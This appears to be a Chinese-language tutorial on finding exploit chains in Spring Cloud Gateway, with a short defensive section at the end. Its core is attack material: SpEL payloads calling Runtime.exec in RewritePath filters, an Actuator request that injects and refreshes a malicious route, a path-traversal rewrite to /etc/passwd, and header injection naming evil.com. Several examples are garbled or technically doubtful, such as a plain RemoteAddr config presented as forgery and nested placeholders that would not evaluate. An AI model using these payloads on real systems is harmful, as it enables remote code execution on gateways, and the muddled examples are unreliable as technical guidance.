手把手带你挖掘spring-cloud-gateway新链
字数 1330 2025-08-07 08:22:29
Spring Cloud Gateway 漏洞挖掘与分析
前言
Spring Cloud Gateway 是基于 Spring 5、Spring Boot 2 和 Project Reactor 等技术构建的 API 网关,由于其广泛使用和复杂的路由配置机制,存在多种潜在的安全风险。本文将深入分析 Spring Cloud Gateway 的漏洞挖掘方法,特别是针对 predicates 和 filters 的利用链。
核心概念
1. Gateway 基本架构
Spring Cloud Gateway 主要由以下三部分组成:
- Route(路由):网关的基本构建块,由 ID、目标 URI、predicates 集合和 filters 集合组成
- Predicate(断言):匹配 HTTP 请求的条件
- Filter(过滤器):修改请求和响应的逻辑
2. 路由配置示例
spring:
cloud:
gateway:
routes:
- id: example_route
uri: http://example.org
predicates:
- Path=/example/**
filters:
- AddRequestHeader=X-Request-Foo, Bar
漏洞挖掘方法论
1. Predicates 攻击面
Predicates 是路由匹配的条件,不当配置可能导致:
1.1 路径遍历漏洞
- 漏洞点:Path predicate 的路径规范化处理不当
- 利用方法:
predicates: - Path=/public/../private/**
1.2 正则表达式注入
- 漏洞点:Regex predicate 使用用户输入构造正则
- 利用方法:
predicates: - name: Regex args: regexp: ".*" + userInput + ".*"
1.3 远程条件匹配
- 漏洞点:RemoteAddr predicate 可被伪造
- 利用方法:
predicates: - RemoteAddr=192.168.1.1/24
2. Filters 攻击面
Filters 用于修改请求/响应,是主要攻击面:
2.1 表达式注入
- 漏洞点:某些 filter 支持 SpEL 表达式
- 利用方法:
filters: - name: RewritePath args: regexp: "/foo/(?<segment>.*)" replacement: "/bar/${T(java.lang.Runtime).getRuntime().exec(${segment})}"
2.2 头注入
- 漏洞点:AddRequestHeader/AddResponseHeader 未过滤用户输入
- 利用方法:
filters: - AddRequestHeader=X-Forwarded-Host: evil.com
2.3 路径重写漏洞
- 漏洞点:RewritePath filter 的路径规范化问题
- 利用方法:
filters: - RewritePath=/red/blue, /../../etc/passwd
漏洞利用链分析
1. 典型利用链示例
用户可控路由配置 → 恶意predicate → 危险filter → RCE/SSRF/信息泄露
2. 具体利用场景
场景1:通过 Actuator API 注入路由
- 获取 Actuator 端点访问权限
- 构造恶意路由配置
POST /actuator/gateway/routes/new_route { "predicates": [{ "name": "Path", "args": {"pattern": "/evil/**"} }], "filters": [{ "name": "RewritePath", "args": { "regexp": "/evil/(?<segment>.*)", "replacement": "/${T(java.lang.Runtime).getRuntime().exec(${segment})}" } }], "uri": "http://example.com" } - 刷新路由:
POST /actuator/gateway/refresh
场景2:通过配置文件注入
- 获取配置文件写入权限
- 添加恶意路由配置
spring: cloud: gateway: routes: - id: malicious uri: http://example.com predicates: - Path=/rce/** filters: - RewritePath=/rce/(?<cmd>.*), /${T(java.lang.Runtime).getRuntime().exec(${cmd})}
防御措施
- 输入验证:严格校验所有路由配置输入
- 权限控制:
- 限制 Actuator 端点访问
- 禁用不必要的 HTTP 方法
- 安全配置:
management: endpoint: gateway: enabled: false endpoints: web: exposure: include: "" - 代码审计:定期检查自定义 predicates 和 filters
- 最小权限原则:网关运行账户应具有最小权限
总结
Spring Cloud Gateway 的 predicates 和 filters 机制提供了强大的灵活性,但也带来了显著的安全风险。通过深入理解其工作原理和潜在的攻击面,安全研究人员可以挖掘出多种利用链。防御方面需要从配置安全、权限控制和输入验证等多方面入手,才能有效降低风险。
扩展思考
- 如何结合其他 Spring 特性(如 Spring EL、JDBC 等)构造更复杂的利用链?
- 在云原生环境下,Gateway 漏洞如何影响整个微服务架构?
- 如何设计自动化工具来检测 Gateway 的不安全配置?